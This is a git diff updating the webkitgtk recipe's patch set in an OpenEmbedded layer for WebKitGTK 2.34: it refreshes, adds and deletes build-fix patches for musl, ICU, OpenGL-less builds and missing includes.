2 files changed, 2 insertions(+)
diff --git a/Source/cmake/OptionsGTK.cmake b/Source/cmake/OptionsGTK.cmake
-index 8732e935..9b4fbae7 100644
+index 3cb5a495..dfba9900 100644
--- a/Source/cmake/OptionsGTK.cmake
+++ b/Source/cmake/OptionsGTK.cmake
-@@ -32,6 +32,7 @@ set(USER_AGENT_BRANDING "" CACHE STRING "Branding to add to user agent string")
- if (USER_AGENT_BRANDING)
- add_definitions(-DUSER_AGENT_BRANDING="${USER_AGENT_BRANDING}")
- endif ()
+@@ -7,6 +7,7 @@ SET_PROJECT_VERSION(2 34 0)
+
+
+ set(USER_AGENT_BRANDING "" CACHE STRING "Branding to add to user agent string")
+set(THREADS_PREFER_PTHREAD_FLAG ON)
find_package(Cairo 1.14.0 REQUIRED)
find_package(Fontconfig 2.8.0 REQUIRED)
diff --git a/Source/cmake/OptionsJSCOnly.cmake b/Source/cmake/OptionsJSCOnly.cmake
-index 316c6240..2f712602 100644
+index e892b427..73bf9e4d 100644
--- a/Source/cmake/OptionsJSCOnly.cmake
+++ b/Source/cmake/OptionsJSCOnly.cmake
@@ -1,3 +1,4 @@
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch b/meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch
index fae3b0b2e5..54d34b1c69 100644
--- a/meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch
+++ b/meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch
@@ -4,7 +4,7 @@ Date: Tue, 27 Oct 2015 16:02:19 +0200
Subject: [PATCH] FindGObjectIntrospection.cmake: prefix variables obtained
from pkg-config with PKG_CONFIG_SYSROOT_DIR
-Upstream-Status: Pending [review on oe-core list]
+Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=232933]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
Source/cmake/FindGObjectIntrospection.cmake | 1 +
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-with-musl.patch b/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-with-musl.patch
deleted file mode 100644
index 6dcb52956c..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-with-musl.patch
+++ /dev/null
@@ -1,75 +0,0 @@
-From 828a500d5be62ba6fc94bd4fac3fe4bf1b1d4f6d Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 6 Oct 2017 17:00:08 +0300
-Subject: [PATCH] Fix build with musl
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- Source/JavaScriptCore/runtime/MachineContext.h | 10 +++++-----
- Source/WTF/wtf/PlatformHave.h | 2 +-
- 2 files changed, 6 insertions(+), 6 deletions(-)
-
-diff --git a/Source/JavaScriptCore/runtime/MachineContext.h b/Source/JavaScriptCore/runtime/MachineContext.h
-index c5052527..95ef98b5 100644
---- a/Source/JavaScriptCore/runtime/MachineContext.h
-+++ b/Source/JavaScriptCore/runtime/MachineContext.h
-@@ -196,7 +196,7 @@ static inline void*& stackPointerImpl(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- #if CPU(X86)
- return reinterpret_cast<void*&>((uintptr_t&) machineContext.gregs[REG_ESP]);
-@@ -347,7 +347,7 @@ static inline void*& framePointerImpl(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- // The following sequence depends on glibc's sys/ucontext.h.
- #if CPU(X86)
-@@ -498,7 +498,7 @@ static inline void*& instructionPointerImpl(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- // The following sequence depends on glibc's sys/ucontext.h.
- #if CPU(X86)
-@@ -656,7 +656,7 @@ inline void*& argumentPointer<1>(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- // The following sequence depends on glibc's sys/ucontext.h.
- #if CPU(X86)
-@@ -773,7 +773,7 @@ inline void*& llintInstructionPointer(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- // The following sequence depends on glibc's sys/ucontext.h.
- #if CPU(X86)
-diff --git a/Source/WTF/wtf/PlatformHave.h b/Source/WTF/wtf/PlatformHave.h
-index daca20fe..53eae6ba 100644
---- a/Source/WTF/wtf/PlatformHave.h
-+++ b/Source/WTF/wtf/PlatformHave.h
-@@ -222,7 +222,7 @@
- #define HAVE_HOSTED_CORE_ANIMATION 1
- #endif
-
--#if OS(DARWIN) || OS(FUCHSIA) || ((OS(FREEBSD) || defined(__GLIBC__) || defined(__BIONIC__)) && (CPU(X86) || CPU(X86_64) || CPU(ARM) || CPU(ARM64) || CPU(MIPS)))
-+#if OS(DARWIN) || OS(FUCHSIA) || ((OS(FREEBSD) || defined(__linux__) || defined(__BIONIC__)) && (CPU(X86) || CPU(X86_64) || CPU(ARM) || CPU(ARM64) || CPU(MIPS)))
- #define HAVE_MACHINE_CONTEXT 1
- #endif
-
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-without-opengl-or-es.patch b/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-without-opengl-or-es.patch
new file mode 100644
index 0000000000..09256951f4
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-without-opengl-or-es.patch
@@ -0,0 +1,133 @@
+From 646e347c173dbb9782492ac7cb4f54b65533ba90 Mon Sep 17 00:00:00 2001
+From: Martin Jansa <Martin.Jansa@gmail.com>
+Date: Sun, 17 Oct 2021 20:49:21 +0000
+Subject: [PATCH] Fix build without opengl-or-es
+
+* fix build failure when opengl-or-es is disabled:
+ In file included from /OE/build/oe-core/tmp-glibc/work/core2-64-oe-linux/webkitgtk/2.34.0-r0/webkitgtk-2.34.0/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.cpp:30,
+ from /OE/build/oe-core/tmp-glibc/work/core2-64-oe-linux/webkitgtk/2.34.0-r0/build/DerivedSources/WebKit/unified-sources/UnifiedSource-54928a2b-36.cpp:1:
+ /OE/build/oe-core/tmp-glibc/work/core2-64-oe-linux/webkitgtk/2.34.0-r0/webkitgtk-2.34.0/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.h:41:10: fatal error: WebCore/CoordinatedGraphicsLayer.h: No such file or directory
+ 41 | #include <WebCore/CoordinatedGraphicsLayer.h>
+ | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ compilation terminated.
+
+* the CoordinatedGraphicsLayer.h header installation is controled by
+ USE_COORDINATED_GRAPHICS in webkitgtk-2.34.0/Source/WebCore/platform/TextureMapper.cmake
+ but in Source/cmake/OptionsGTK.cmake USE_COORDINATED_GRAPHICS was enabled only inside
+ if (USE_OPENGL_OR_ES)
+
+Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=232934]
+---
+ .../DrawingAreaProxyCoordinatedGraphics.cpp | 2 +-
+ .../DrawingAreaProxyCoordinatedGraphics.h | 2 +-
+ .../CoordinatedGraphics/DrawingAreaCoordinatedGraphics.cpp | 2 +-
+ .../CoordinatedGraphics/DrawingAreaCoordinatedGraphics.h | 2 +-
+ .../WebPage/CoordinatedGraphics/LayerTreeHost.cpp | 4 ++--
+ .../WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.h | 6 +++---
+ 6 files changed, 9 insertions(+), 9 deletions(-)
+
+diff --git a/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp b/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp
+index 038d9ee2..5e828a10 100644
+--- a/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp
++++ b/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp
+@@ -152,7 +152,7 @@ void DrawingAreaProxyCoordinatedGraphics::setBackingStoreIsDiscardable(bool isBa
+ #endif
+ }
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ void DrawingAreaProxyCoordinatedGraphics::adjustTransientZoom(double scale, FloatPoint origin)
+ {
+ send(Messages::DrawingArea::AdjustTransientZoom(scale, origin));
+diff --git a/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.h b/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.h
+index b23a45ff..cd263402 100644
+--- a/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.h
++++ b/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.h
+@@ -57,7 +57,7 @@ private:
+ void waitForBackingStoreUpdateOnNextPaint() override;
+ void setBackingStoreIsDiscardable(bool) override;
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ void adjustTransientZoom(double scale, WebCore::FloatPoint origin) override;
+ void commitTransientZoom(double scale, WebCore::FloatPoint origin) override;
+ #endif
+diff --git a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.cpp b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.cpp
+index 33ac2e1d..42375784 100644
+--- a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.cpp
++++ b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.cpp
+@@ -486,7 +486,7 @@ void DrawingAreaCoordinatedGraphics::didUpdate()
+ displayTimerFired();
+ }
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ void DrawingAreaCoordinatedGraphics::adjustTransientZoom(double scale, FloatPoint origin)
+ {
+ if (!m_transientZoom) {
+diff --git a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.h b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.h
+index d8dc6df7..c8322364 100644
+--- a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.h
++++ b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.h
+@@ -84,7 +84,7 @@ private:
+ void updateBackingStoreState(uint64_t backingStoreStateID, bool respondImmediately, float deviceScaleFactor, const WebCore::IntSize&, const WebCore::IntSize& scrollOffset) override;
+ void didUpdate() override;
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ void adjustTransientZoom(double scale, WebCore::FloatPoint origin) override;
+ void commitTransientZoom(double scale, WebCore::FloatPoint origin) override;
+ #endif
+diff --git a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.cpp b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.cpp
+index f3304d10..ca0476ff 100644
+--- a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.cpp
++++ b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.cpp
+@@ -156,7 +156,7 @@ void LayerTreeHost::layerFlushTimerFired()
+
+ bool didSync = m_coordinator.flushPendingLayerChanges(flags);
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ // If we have an active transient zoom, we want the zoom to win over any changes
+ // that WebCore makes to the relevant layers, so re-apply our changes after flushing.
+ if (m_transientZoom)
+@@ -453,7 +453,7 @@ void LayerTreeHost::renderNextFrame(bool forceRepaint)
+ }
+ }
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ FloatPoint LayerTreeHost::constrainTransientZoomOrigin(double scale, FloatPoint origin) const
+ {
+ FrameView& frameView = *m_webPage.mainFrameView();
+diff --git a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.h b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.h
+index 4f727e41..b070266e 100644
+--- a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.h
++++ b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.h
+@@ -37,7 +37,7 @@
+ #include <wtf/Forward.h>
+ #include <wtf/OptionSet.h>
+ #include <wtf/RunLoop.h>
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ #include <WebCore/CoordinatedGraphicsLayer.h>
+ #endif
+
+@@ -100,7 +100,7 @@ public:
+
+ WebCore::PlatformDisplayID displayID() const { return m_displayID; }
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ void adjustTransientZoom(double, WebCore::FloatPoint);
+ void commitTransientZoom(double, WebCore::FloatPoint);
+ #endif
+@@ -213,7 +213,7 @@ private:
+ #endif // USE(COORDINATED_GRAPHICS)
+ WebCore::PlatformDisplayID m_displayID;
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ bool m_transientZoom { false };
+ double m_transientZoomScale { 1 };
+ WebCore::FloatPoint m_transientZoomOrigin;
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch b/meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch
index aa9a06701a..e06607ba2b 100644
--- a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch
+++ b/meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch
@@ -1,9 +1,9 @@
-From 0afc194c6446e6c3242f1d706b4564e3a9cb2cee Mon Sep 17 00:00:00 2001
+From 4718888071e29deb8b245b88c81577fd5bac4e5e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 29 Aug 2016 16:38:11 +0300
Subject: [PATCH] Fix racy parallel build of WebKit2-4.0.gir
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=232935]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
@@ -11,12 +11,12 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 5 insertions(+), 4 deletions(-)
diff --git a/Source/WebKit/PlatformGTK.cmake b/Source/WebKit/PlatformGTK.cmake
-index a074a80..8c6ebb5 100644
+index a069c5f6..ea2f542b 100644
--- a/Source/WebKit/PlatformGTK.cmake
+++ b/Source/WebKit/PlatformGTK.cmake
-@@ -728,8 +728,9 @@ if (ENABLE_INTROSPECTION)
- string(REGEX MATCHALL "-L[^ ]*"
- INTROSPECTION_ADDITIONAL_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}")
+@@ -650,8 +650,9 @@ if (ENABLE_INTROSPECTION)
+ set(GIR_SOURCES_TOP_DIRS "--sources-top-dirs=${CMAKE_BINARY_DIR}")
+ endif ()
- add_custom_command(
- OUTPUT ${CMAKE_BINARY_DIR}/WebKit2-${WEBKITGTK_API_VERSION}.gir
@@ -26,7 +26,7 @@ index a074a80..8c6ebb5 100644
DEPENDS WebKit
DEPENDS ${CMAKE_BINARY_DIR}/JavaScriptCore-${WEBKITGTK_API_VERSION}.gir
COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations\ ${CMAKE_C_FLAGS} LDFLAGS=
-@@ -773,7 +774,7 @@ if (ENABLE_INTROSPECTION)
+@@ -699,7 +700,7 @@ if (ENABLE_INTROSPECTION)
add_custom_command(
OUTPUT ${CMAKE_BINARY_DIR}/WebKit2WebExtension-${WEBKITGTK_API_VERSION}.gir
DEPENDS ${CMAKE_BINARY_DIR}/JavaScriptCore-${WEBKITGTK_API_VERSION}.gir
@@ -35,7 +35,7 @@ index a074a80..8c6ebb5 100644
COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations\ ${CMAKE_C_FLAGS}
LDFLAGS="${INTROSPECTION_ADDITIONAL_LDFLAGS}"
${LOADER_LIBRARY_PATH_VAR}="${INTROSPECTION_ADDITIONAL_LIBRARY_PATH}"
-@@ -828,7 +829,7 @@ if (ENABLE_INTROSPECTION)
+@@ -761,7 +762,7 @@ if (ENABLE_INTROSPECTION)
add_custom_command(
OUTPUT ${CMAKE_BINARY_DIR}/WebKit2-${WEBKITGTK_API_VERSION}.typelib
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-ICU-68.1-no-longer-exposes-FALSE-and-TRUE-macros-by-.patch b/meta/recipes-sato/webkit/webkitgtk/0001-ICU-68.1-no-longer-exposes-FALSE-and-TRUE-macros-by-.patch
deleted file mode 100644
index 3a02253e5e..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/0001-ICU-68.1-no-longer-exposes-FALSE-and-TRUE-macros-by-.patch
+++ /dev/null
@@ -1,180 +0,0 @@
-From 8d1c44a03c1870912991467f8d8cd8bb6f85efa5 Mon Sep 17 00:00:00 2001
-From: "stephan.szabo@sony.com" <stephan.szabo@sony.com>
-Date: Tue, 3 Nov 2020 20:06:15 +0000
-Subject: [PATCH] ICU 68.1 no longer exposes FALSE and TRUE macros by default
- https://bugs.webkit.org/show_bug.cgi?id=218522
-
-Reviewed by Don Olmstead.
-
-Source/WebCore:
-
-* platform/text/TextCodecICU.cpp: Replace use of TRUE with true
-
-Source/WebKit:
-
-* UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp: Replace FALSE with false
-
-Source/WTF:
-
-Replace uses of FALSE and TRUE with false and true.
-
-* wtf/text/icu/UTextProvider.h:
-* wtf/text/icu/UTextProviderLatin1.cpp:
-* wtf/text/icu/UTextProviderUTF16.cpp:
-
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@arm.com>
-
-git-svn-id: https://svn.webkit.org/repository/webkit/trunk@269325 268f45cc-cd09-0410-ab3c-d52691b4dbfc
----
- Source/WTF/wtf/text/icu/UTextProvider.h | 8 ++++----
- Source/WTF/wtf/text/icu/UTextProviderLatin1.cpp | 14 +++++++-------
- Source/WTF/wtf/text/icu/UTextProviderUTF16.cpp | 4 ++--
- Source/WebCore/platform/text/TextCodecICU.cpp | 2 +-
- .../DrawingAreaProxyCoordinatedGraphics.cpp | 2 +-
- 5 files changed, 15 insertions(+), 15 deletions(-)
-
-diff --git a/Source/WTF/wtf/text/icu/UTextProvider.h b/Source/WTF/wtf/text/icu/UTextProvider.h
-index c8f28d6e..3c6fbeab 100644
---- a/Source/WTF/wtf/text/icu/UTextProvider.h
-+++ b/Source/WTF/wtf/text/icu/UTextProvider.h
-@@ -79,12 +79,12 @@ inline bool uTextAccessInChunkOrOutOfRange(UText* text, int64_t nativeIndex, int
- // Ensure chunk offset is well formed if computed offset exceeds int32_t range.
- ASSERT(offset < std::numeric_limits<int32_t>::max());
- text->chunkOffset = offset < std::numeric_limits<int32_t>::max() ? static_cast<int32_t>(offset) : 0;
-- isAccessible = TRUE;
-+ isAccessible = true;
- return true;
- }
- if (nativeIndex >= nativeLength && text->chunkNativeLimit == nativeLength) {
- text->chunkOffset = text->chunkLength;
-- isAccessible = FALSE;
-+ isAccessible = false;
- return true;
- }
- } else {
-@@ -93,12 +93,12 @@ inline bool uTextAccessInChunkOrOutOfRange(UText* text, int64_t nativeIndex, int
- // Ensure chunk offset is well formed if computed offset exceeds int32_t range.
- ASSERT(offset < std::numeric_limits<int32_t>::max());
- text->chunkOffset = offset < std::numeric_limits<int32_t>::max() ? static_cast<int32_t>(offset) : 0;
-- isAccessible = TRUE;
-+ isAccessible = true;
- return true;
- }
- if (nativeIndex <= 0 && !text->chunkNativeStart) {
- text->chunkOffset = 0;
-- isAccessible = FALSE;
-+ isAccessible = false;
- return true;
- }
- }
-diff --git a/Source/WTF/wtf/text/icu/UTextProviderLatin1.cpp b/Source/WTF/wtf/text/icu/UTextProviderLatin1.cpp
-index 0a646b7f..49980f95 100644
---- a/Source/WTF/wtf/text/icu/UTextProviderLatin1.cpp
-+++ b/Source/WTF/wtf/text/icu/UTextProviderLatin1.cpp
-@@ -100,23 +100,23 @@ static UBool uTextLatin1Access(UText* uText, int64_t index, UBool forward)
- if (index < uText->chunkNativeLimit && index >= uText->chunkNativeStart) {
- // Already inside the buffer. Set the new offset.
- uText->chunkOffset = static_cast<int32_t>(index - uText->chunkNativeStart);
-- return TRUE;
-+ return true;
- }
- if (index >= length && uText->chunkNativeLimit == length) {
- // Off the end of the buffer, but we can't get it.
- uText->chunkOffset = static_cast<int32_t>(index - uText->chunkNativeStart);
-- return FALSE;
-+ return false;
- }
- } else {
- if (index <= uText->chunkNativeLimit && index > uText->chunkNativeStart) {
- // Already inside the buffer. Set the new offset.
- uText->chunkOffset = static_cast<int32_t>(index - uText->chunkNativeStart);
-- return TRUE;
-+ return true;
- }
- if (!index && !uText->chunkNativeStart) {
- // Already at the beginning; can't go any farther.
- uText->chunkOffset = 0;
-- return FALSE;
-+ return false;
- }
- }
-
-@@ -144,7 +144,7 @@ static UBool uTextLatin1Access(UText* uText, int64_t index, UBool forward)
-
- uText->nativeIndexingLimit = uText->chunkLength;
-
-- return TRUE;
-+ return true;
- }
-
- static int32_t uTextLatin1Extract(UText* uText, int64_t start, int64_t limit, UChar* dest, int32_t destCapacity, UErrorCode* status)
-@@ -337,7 +337,7 @@ static int64_t uTextLatin1ContextAwareNativeLength(UText* text)
- static UBool uTextLatin1ContextAwareAccess(UText* text, int64_t nativeIndex, UBool forward)
- {
- if (!text->context)
-- return FALSE;
-+ return false;
- int64_t nativeLength = uTextLatin1ContextAwareNativeLength(text);
- UBool isAccessible;
- if (uTextAccessInChunkOrOutOfRange(text, nativeIndex, nativeLength, forward, isAccessible))
-@@ -357,7 +357,7 @@ static UBool uTextLatin1ContextAwareAccess(UText* text, int64_t nativeIndex, UBo
- ASSERT(newContext == UTextProviderContext::PriorContext);
- textLatin1ContextAwareSwitchToPriorContext(text, nativeIndex, nativeLength, forward);
- }
-- return TRUE;
-+ return true;
- }
-
- static int32_t uTextLatin1ContextAwareExtract(UText*, int64_t, int64_t, UChar*, int32_t, UErrorCode* errorCode)
-diff --git a/Source/WTF/wtf/text/icu/UTextProviderUTF16.cpp b/Source/WTF/wtf/text/icu/UTextProviderUTF16.cpp
-index 69c8d091..9c3fa709 100644
---- a/Source/WTF/wtf/text/icu/UTextProviderUTF16.cpp
-+++ b/Source/WTF/wtf/text/icu/UTextProviderUTF16.cpp
-@@ -126,7 +126,7 @@ static inline int64_t uTextUTF16ContextAwareNativeLength(UText* text)
- static UBool uTextUTF16ContextAwareAccess(UText* text, int64_t nativeIndex, UBool forward)
- {
- if (!text->context)
-- return FALSE;
-+ return false;
- int64_t nativeLength = uTextUTF16ContextAwareNativeLength(text);
- UBool isAccessible;
- if (uTextAccessInChunkOrOutOfRange(text, nativeIndex, nativeLength, forward, isAccessible))
-@@ -146,7 +146,7 @@ static UBool uTextUTF16ContextAwareAccess(UText* text, int64_t nativeIndex, UBoo
- ASSERT(newContext == UTextProviderContext::PriorContext);
- textUTF16ContextAwareSwitchToPriorContext(text, nativeIndex, nativeLength, forward);
- }
-- return TRUE;
-+ return true;
- }
-
- static int32_t uTextUTF16ContextAwareExtract(UText*, int64_t, int64_t, UChar*, int32_t, UErrorCode* errorCode)
-diff --git a/Source/WebCore/platform/text/TextCodecICU.cpp b/Source/WebCore/platform/text/TextCodecICU.cpp
-index c2684939..e716a6fb 100644
---- a/Source/WebCore/platform/text/TextCodecICU.cpp
-+++ b/Source/WebCore/platform/text/TextCodecICU.cpp
-@@ -240,7 +240,7 @@ void TextCodecICU::createICUConverter() const
- UErrorCode error = U_ZERO_ERROR;
- m_converter = ICUConverterPtr { ucnv_open(m_canonicalConverterName, &error), ucnv_close };
- if (m_converter)
-- ucnv_setFallback(m_converter.get(), TRUE);
-+ ucnv_setFallback(m_converter.get(), true);
- }
-
- int TextCodecICU::decodeToBuffer(UChar* target, UChar* targetLimit, const char*& source, const char* sourceLimit, int32_t* offsets, bool flush, UErrorCode& error)
-diff --git a/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp b/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp
-index 61e3f605..5a51b9ec 100644
---- a/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp
-+++ b/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp
-@@ -402,7 +402,7 @@ DrawingAreaProxyCoordinatedGraphics::DrawingMonitor::~DrawingMonitor()
- int DrawingAreaProxyCoordinatedGraphics::DrawingMonitor::webViewDrawCallback(DrawingAreaProxyCoordinatedGraphics::DrawingMonitor* monitor)
- {
- monitor->didDraw();
-- return FALSE;
-+ return false;
- }
-
- void DrawingAreaProxyCoordinatedGraphics::DrawingMonitor::start(WTF::Function<void(CallbackBase::Error)>&& callback)
---
-2.25.1
-
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch b/meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch
index 3e03aa968c..9e2bf09dd7 100644
--- a/meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch
+++ b/meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch
@@ -7,7 +7,7 @@ Subject: [PATCH] When building introspection files, add CMAKE_C_FLAGS to the
g-ir-compiler is using a C compiler internally, so it needs to set
the proper flags for it.
-Upstream-Status: Pending [review on oe-core list]
+Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=232936]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
diff --git a/meta/recipes-sato/webkit/webkitgtk/include_array.patch b/meta/recipes-sato/webkit/webkitgtk/include_array.patch
deleted file mode 100644
index 7268b04bf4..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/include_array.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Added missing include for std::array
-
-Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=197085]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
---- webkitgtk-2.24.0/Source/JavaScriptCore/assembler/PerfLog.cpp.org 2019-04-18 18:03:50.226231691 -0700
-+++ webkitgtk-2.24.0/Source/JavaScriptCore/assembler/PerfLog.cpp 2019-04-18 18:07:28.569153989 -0700
-@@ -31,6 +31,7 @@
- #include <elf.h>
- #include <fcntl.h>
- #include <mutex>
-+#include <array>
- #include <sys/mman.h>
- #include <sys/stat.h>
- #include <sys/syscall.h>
diff --git a/meta/recipes-sato/webkit/webkitgtk/include_xutil.patch b/meta/recipes-sato/webkit/webkitgtk/include_xutil.patch
deleted file mode 100644
index f770b381ce..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/include_xutil.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-Since
-https://github.com/WebKit/webkit/commit/acd3f32cd43c363be032f93ede3aa10c4ee97fa4
-it uses XVisualInfo which is defined in Xutil.h
-
-Without this the build fails with:
-webkitgtk-2.30.2/Source/WebCore/platform/graphics/x11/PlatformDisplayX11.cpp:132:5: error: 'XVisualInfo' was not declared in this scope; did you mean 'VisualID'?
- 132 | XVisualInfo visualTemplate;
- | ^~~~~~~~~~~
- | VisualID
-
-Upstream-Status: Pending
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
-diff -uNr webkitgtk-2.30.2.orig/Source/WebCore/platform/graphics/x11/PlatformDisplayX11.cpp webkitgtk-2.30.2/Source/WebCore/platform/graphics/x11/PlatformDisplayX11.cpp
---- webkitgtk-2.30.2.orig/Source/WebCore/platform/graphics/x11/PlatformDisplayX11.cpp 2020-08-12 09:17:55.000000000 +0000
-+++ webkitgtk-2.30.2/Source/WebCore/platform/graphics/x11/PlatformDisplayX11.cpp 2020-11-06 03:11:40.379913528 +0000
-@@ -30,6 +30,7 @@
-
- #if PLATFORM(X11)
- #include <X11/Xlib.h>
-+#include <X11/Xutil.h>
- #include <X11/extensions/Xcomposite.h>
- #if PLATFORM(GTK)
- #include <X11/extensions/Xdamage.h>
diff --git a/meta/recipes-sato/webkit/webkitgtk/musl-lower-stack-usage.patch b/meta/recipes-sato/webkit/webkitgtk/musl-lower-stack-usage.patch
new file mode 100644
index 0000000000..d8d36fad6b
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk/musl-lower-stack-usage.patch
@@ -0,0 +1,77 @@
